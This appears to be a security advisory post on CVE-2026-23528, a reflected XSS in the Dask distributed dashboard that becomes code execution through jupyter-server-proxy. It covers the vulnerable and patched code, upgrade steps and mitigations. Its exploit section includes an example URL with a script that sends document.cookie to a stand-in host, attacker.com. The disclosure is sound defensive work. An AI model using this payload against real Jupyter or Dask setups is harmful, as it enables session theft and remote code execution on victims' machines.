Dask distributed, Cross-Side-Scripting (XSS), CVE-2026-23528 (Medium)

Listen to this Post

CVE-2026-23528 is a cross-site scripting (XSS) vulnerability found in Dask distributed versions prior to 2026.1.0. The flaw specifically resides in how the Dask dashboard’s proxy handler manages error messages for non-existent workers. When a request for a worker that does not exist is made, the dashboard reflects the requested worker’s hostname back in an error page without properly sanitizing or escaping the input . An attacker can exploit this by crafting a malicious URL containing a JavaScript payload in place of the worker hostname. For the attack to be successful, the target environment must be running Jupyter Lab with the jupyter-server-proxy extension, alongside a vulnerable Dask distributed cluster, all on their default ports and localhost . When a victim user clicks on the phishing link, the Jupyter Lab proxy routes the request to the Dask dashboard. The dashboard generates the unsanitized error page, which executes the attacker’s injected JavaScript. Because this error page is served through the Jupyter Lab proxy, the malicious script operates within the Jupyter security context, allowing it to interact with the Jupyter API and execute arbitrary Python code on the default Jupyter kernel, effectively turning an XSS into remote code execution (RCE) . The vulnerability is fixed in Dask distributed version 2026.1.0 by properly escaping the worker hostname in the error message .
Platform: Dask distributed
Version: <2026.1.0
Vulnerability : XSS to RCE
Severity: Medium (5.3)
date: January 16, 2026

Prediction: Patched (2026.1.0)

What Undercode Say:

The root cause of this vulnerability is the failure to sanitize user-controlled input before including it in an HTTP response. The patch commit `ab72092` addresses this by escaping the worker hostname.

Vulnerable code (prior to 2026.1.0)
from distributed.http.proxy import ProxyHandler
Inside the ProxyHandler, when a worker is not found:
worker = f"{self.host}:{port}"
msg = "Worker <%s> does not exist" % worker
The 'worker' variable, which includes the unsanitized host from the URL, is directly embedded.
Patched code (in 2026.1.0)
import html
...
worker = f"{self.host}:{port}"
if not check_worker_dashboard_exits(self.scheduler, worker):
msg = f"Worker <{html.escape(worker)}> does not exist" Escape!

The fix uses `html.escape()` to convert characters like `<` and `>` into their HTML-safe entities (&lt; and &gt;), preventing the browser from interpreting any injected HTML or JavaScript tags .

How Exploit:

An attacker crafts a URL that uses the Dask dashboard’s proxy path to inject a script. The general structure targets a non-existent worker with a JavaScript payload.

Example of a crafted malicious URL structure
The payload is injected into the 'worker_host' part of the path.
The actual ports and paths may vary depending on the jupyter-server-proxy configuration.
Malicious URL Structure:
http://localhost:8888/proxy/6000/worker/<script>attack_code()</script>/status
A more concrete example with a hypothetical payload:
http://localhost:8888/proxy/6000/worker/<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>/status
When the Jupyter proxy (port 8888) forwards this to the Dask dashboard (port 6000),
the dashboard returns an error: "Worker <script>attack_code()</script> does not exist"
The browser then executes the script .

Note: This is a conceptual example. The exact path routing depends on the `jupyter-server-proxy` configuration.

Protection from this CVE

The primary and most effective protection is to upgrade the `distributed` package.

Upgrade the distributed package using pip
pip install --upgrade distributed
Or if using conda
conda update distributed

After upgrading, restart the Dask scheduler and all Jupyter services for the changes to take effect .
If an immediate upgrade is not possible, mitigation steps can reduce the risk, though they are not complete solutions:
1. Uninstall jupyter-server-proxy: Access the Dask dashboard directly at its own URL to break the chain that allows the XSS to escalate to RCE .
2. Change Default Ports: Run Jupyter Lab and the Dask dashboard on non-standard ports. This makes mass phishing attacks less effective, though targeted attacks are still possible .
3. Implement a strong Content Security Policy (CSP): Restrict the sources from which scripts can be executed to mitigate the impact of XSS .

Impact

A successful exploit allows an attacker to execute arbitrary Python code on the victim’s machine within the Jupyter kernel. This can lead to:
– Data Exfiltration: Accessing and stealing data loaded in the Jupyter workspace or accessible from the filesystem .
– System Compromise: Using the Python kernel as a foothold to further compromise the local system or network .
– Credential Theft: Stealing stored credentials or session cookies from the browser or Jupyter environment.
– Persistence: Installing backdoors or maintaining unauthorized access to the data science environment.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top